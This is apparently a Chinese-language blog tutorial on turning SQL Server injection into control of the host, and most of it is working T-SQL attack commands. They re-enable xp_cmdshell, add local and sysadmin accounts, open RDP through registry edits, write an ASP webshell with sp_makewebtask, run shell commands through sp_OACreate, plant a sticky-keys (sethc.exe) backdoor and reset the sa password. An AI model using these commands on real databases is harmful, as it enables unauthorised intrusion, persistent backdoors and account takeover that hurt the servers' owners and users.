0x01 权限


MSSQL注入中关于权限问题主要有三个,如下:
服务启动权限
在SQL Server配置管理器配置,其中内置账户有三个,分别是Local System、Local Service、Network Service

LocalSystem
LocalSystem是预设的拥有本机所有权限的本地账户,这个账户跟通常的用户账户没有任何关联,也没有用户名和密码之类的凭证。这个服务账户可以打开注册表的HKEY_LOCAL_MACHINE\Security键,当LocalSystem访问网络资源时,它是作为计算机的域账户使用的。
举例来说,以LocalSystem账户运行的服务主要有:WindowsUpdate Client、 Clipbook、Com+、DHCP Client、Messenger Service、Task Scheduler、Server Service、Workstation Service,还有Windows Installer。

NetworkService
NetworkService账户是预设的拥有本机部分权限的本地账户,它能够以计算机的名义访问网络资源。但是他没有Local System 那么多的权限,以这个账户运行的服务会根据实际环境把访问凭据提交给远程的计算机。Network Service账户通常可以访问Network Service、Everyone组,还有认证用户有权限访问的资源。
举例来说,以Network Service账户运行的服务主要有:Distributed Transaction Coordinator、DNS Client、Performance Logs and Alerts,还有RPC Locator。

LocalService
LocalService账户是预设的拥有最小权限的本地账户,并在网络凭证中具有匿名的身份。Local Service账户通常可以访问Local Service、Everyone组还有认证用户有权限访问的资源。
举例来说,以Local Service账户运行的服务主要有:Alerter、Remote Registry、Smart Card、SSDP,还有WebClient。

仅有当MSSQL以LocalSystem运行的时候才可以添加用户执行exec master..xp_cmdshell ‘net user vinc vinc /add’

服务器角色
SQL Server管理员对数据库引擎有无限制的访问权限。sa是默认的管理员账户,查看sa的服务器角色可以看到勾选了sysadmin和public。
新建用户在服务器角色选项内选择sysadmin,那么将具有和sa同样的权限。

数据库角色成员身份
指的是用户针对不同的数据库所具有的操作权限,例如db_owner权限,就在该处配置。

 

0x02 存储过程


xp_cmdshell(sysadmin权限)

select * from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell';

其中xtype=’x’代表扩展存储过程

然后尝试执行

exec master..xp_cmdshell 'net user vinctest test123!@# /add'

建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。

提示:

[Err] 42000 - [SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
可以重启启用。

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE

然后就可以运行成功

默认服务器角色为public无法调用xp_cmdshell。
现在我们新建一个账户test,然后在安全性–登录名-test右键属性,如果在服务器角色选项内选择public。

exec master..xp_cmdshell 'ipconfig'

发现无法成功执行。
提示:

[Err] 42000 - [SQL Server]拒绝了对对象 'xp_cmdshell' (数据库 'mssqlsystemresource',架构 'sys')的 EXECUTE 权限。

使用xp_cmdshell开启RDP服务

exec master..xp_cmdshell 'sc config termservice start= auto'
exec master..xp_cmdshell 'net start termservice'

使用xp_cmdshell编辑注册表允许连接到这台计算机,并且重置RDP端口为3389

exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'

或者

EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00 /f '
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f'
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f'

使用xp_cmdshell将用户添加到远程用户组

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" test /add'

如果3389的端口修改了,怎么办
可以先执行exec master..xp_cmdshell ‘netstat -an’看看那些端口的数字比较特殊,比如9833、12345等,尝试连接
或者Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。终端所对应的服务名为:TermService

可以看到进程号为1396
然后使用netstat -ano | findstr “1396”

然后就可以看到监听端口

删除扩展存储过过程xp_cmdshell的语句

exec master.dbo.sp_dropextendedproc 'xp_cmdshell'

发现报错

无法对 过程 'xp_cmdshell' 执行 删除,因为它不存在,或者您没有所需的权限。
在 SQL Server 2008 和 SQL Server 2005 中,sp_dropextendedproc 不会删除系统扩展存储过程。在 SQL Server 2000 中,sp_dropextendedproc 可用于删除任何扩展存储过程。

sp_makewebtask 备份(sysadmin权限)
Windows 2008中没有该存储过程,Windows 2005中有该存储过程
sp_makewebtask存储过程在MSSQL 2005及以上版本中默认是禁用的
激活 sp_makewebtask存储过程的语句:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;

写入文件

exec sp_makewebtask 'c:\shell.asp',' select ''<%25execute(request("a"))%25>'' ';

sp_OACreate和sp_OAMethod(需要sysadmin权限)
1)wscript.shell执行命令
SQL Server 提供了sp_OACREATE和sp_OAMethod函数,可以利用这两个函数调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
sp_oacreate 存储过程在MSSQL 2005及以上版本中默认是禁用的,激活 sp_oacreate 存储过程的语句:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

语句如下:

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

2)Shell.Application执行命令
Windows2005下成功,Windows2008下失败

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';

3)移动文件

declare @aa int
exec sp_oacreate 'scripting.filesystemobject', @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\sethc1.exe';

4)删除文件

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'c:\windows\system32\sethc.exe'
EXEC @Result = sp_OADestroy @FSO_Token

5)复制文件
例如安装shift后门

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';

因为Windows2008的权限设置比较严格,所以该方式不适用。方法可以参考:

Windows服务器安装shift后门

6)添加管理员账户
Windows2005下成功,Windows2008下失败

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

xp_regwrite(sysadmin权限)
开启远程桌面

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server',
'fDenyTSConnections',
'REG_DWord',0

xp_regread
查看远程桌面是否开启

exec xp_regread
'HKEY_LOCAL_MACHINE',
'SYSTEM\CurrentControlSet\Control\Terminal Server',
'fDenyTSConnections'

xp_dirtree
查看目录

exec xp_dirtree 'C:\'

openrowset(sysadmin权限)
该组件默认是禁止的,开启命令如下:

exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

利用沙盒执行命令
Windows 2005

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 //默认为3
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')

windows 2008
报错,报错信息如下:
因为OLE DB 访问接口’microsoft.jet.oledb.4.0′ 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。

sp_addlogin(sysadmin权限)
创建mssql帐号

exec master.dbo.sp_addlogin vinc123,'123Test!@#'

sp_addsrvrolemember(sysadmin权限)
把创建的mssql登陆帐号提升到sysadmin

exec master.dbo.sp_addsrvrolemember name,sysadmin

sp_password(sysadmin权限)
修改sa用户密码

EXEC sp_password NULL,'Hehe123456','sa'

 

参考文章:
http://blog.csdn.net/ma_jiang/article/details/9235743